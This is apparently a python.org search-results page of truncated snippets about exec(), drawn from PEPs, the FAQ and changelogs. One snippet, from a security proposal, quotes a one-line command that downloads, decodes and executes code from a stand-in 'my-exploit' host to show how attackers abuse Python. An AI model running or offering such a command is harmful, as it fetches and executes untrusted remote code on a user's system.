Notice: While JavaScript is not essential for this website, your interaction with the content will be limited. Please turn JavaScript on for the full experience.
...exec. References [1]https://bugs.python.org/issue30744 Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. Source: https://github.com/python/peps/blob/master/pep-0667.rst
...execfile(), reload(): use exec() [2] [done] intern(): put in sys [2], [22] [done] reduce(): put in functools, a loop is more readable most of the times [2], [9] [done] xrange(): use range() instead [1] [See range() above] [done] StandardError: this is a relic from the original exception hierarchy; subclass Exception instead. [done] Standard library Reorganize the standard library to not be as shallow? Move test code to where it belongs, there will be no more test() functions in the standa...
...exec statement or the built-in function eval(): >>> print a.keys() [1, 2] >>> exec "x = 3; print x" in a 3 >>> print a.keys() ['__builtins__', 1, 2, 'x'] >>> print a['x'] 3 >>> However, our __getitem__() method is not used for variable access by the interpreter: >>> exec "print foo" in a Traceback (most recent call last): File "<stdin>", line 1, in ? File "<string>", line 1, in ? NameError: name 'foo' ...
...exec statement or the built-in function eval(): >>> print a.keys() [1, 2] >>> exec "x = 3; print x" in a 3 >>> print a.keys() ['__builtins__', 1, 2, 'x'] >>> print a['x'] 3 >>> However, our __getitem__() method is not used for variable access by the interpreter: >>> exec "print foo" in a Traceback (most recent call last): File "<stdin>", line 1, in ? File "<string>", line 1, in ? NameError: name 'foo' is not defined >>> Why doesn't this print 0.0? T...
...executed by exec() raises an exception, and sys.stdout.flush() also raises an error. Bug #2565: The repr() of type objects now calls them 'class', not 'type' - whether they are builtin types or not. The command line processing was converted to pass Unicode strings through as unmodified as possible; as a consequence, the C API related to command line arguments was changed to use wchar_t. All backslashes in raw strings are interpreted literally. This means that 'u' and 'U' escapes are not treated...
...ExecCodeModule() and PyImport_ExecCodeModuleEx(): if an error occurs while loading the module, these now delete the module's entry from sys.modules. All ways of loading modules eventually call one of these, so this is an error-case change in semantics for all ways of loading modules. In rare cases, a module loader may wish to keep a module object in sys.modules despite that the module's code cannot be executed. In such cases, the module loader must arrange to reinsert the name and module obj...
...execute arbitrary code provided as data (as opposed to native binaries), and its complete lack of internal auditing. This allows attackers to download, decrypt, and execute malicious code with a single command: python -c "import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())" This command currently bypasses most anti-malware scanners that rely on recognizable code being read through a network connection or being wri...
...exec.bat. Advanced Windows developers may also wish to download the Win32 extensions, by Mark Hammond of ActiveState. These make many Microsoft Windows APIs available from Python. Incompatibility warning: Norton Antivirus 2000 can cause blue screen crashes on Windows 98 when a function in the os.popen*() family is invoked. To prevent this problem, disable Norton Antivirus when using Python. (Confirmed on Windows 98 Second Edition with Norton Antivirus version 6.10.20. The same N...
...executes the module code. This is crucial because the module code may (directly or indirectly) import itself; adding it to sys.modules beforehand prevents unbounded recursion in the worst case and multiple loading in the best. If the load fails, the loader needs to remove any module it may have inserted into sys.modules. If the module was already in sys.modules then the loader should leave it alone. The __file__ attribute must be set. This must be a string, but it may be a dummy value, for ex...
...exec that everything in Tcl is based on, making it even harder to describe in Python terms than Lisp macros, but something like if {[ catch("computation()") "explanation"]} { default(explanation) } Smalltalk is also somewhat hard to map to Python. The basic version would be x := computation() on:MyException do:default() ... but that's basically Smalltalk's passing-arguments-with-colons syntax, not its exception-handling syntax. Deferred sub-proposals Multiple except clauses An examination...
...executed using "exec" or "eval"). These will continue to implicitly declare a new local variable as the binding target as they do today, and (if necessary) will be able to resolve the name from an outer scope before binding it locally. At function scope, augmented assignments will be changed to require that there be either a preceding name binding or variable declaration to explicitly establish the target name as being local to the function, or else an explicit global or nonlocal declaration. Ta...
...exec(, {}) don't have a __module__, but code in typeobject assumed it would always be there. Bug #952807: Unpickling pickled instances of subclasses of datetime.date, datetime.datetime and datetime.time could yield insane objects. Thanks to Jiwon Seo for a fix. Bug #845802: Python crashed when __init__.py is a directory. Bug #875692: Improve signal handling, especially when using threads, by forcing an early re-execution of PyEval_EvalFrame() "periodic" code when things_to_do is not ...
...executes the code in an entirely different interpreter, with entirely separate state. The state of the current interpreter in the current OS thread is swapped out with the state of the target interpreter (the one that will execute the code). When the target finishes executing, the original interpreter gets swapped back in and its execution resumes. So calling "run()" will effectively cause the current Python thread to pause. Sometimes you won't...
...executed in the order they were added. All "before" methods are called before any of the function's "primary" methods (i.e. normal @overload methods) are executed. "After" methods are invoked in the reverse order, after all of the function's "primary" methods are executed. That is, they are executed least-specific methods first, with ambiguous methods being executed in the reverse of the order in which they were added. The return values of both "before" and "after" methods are ignored, and any...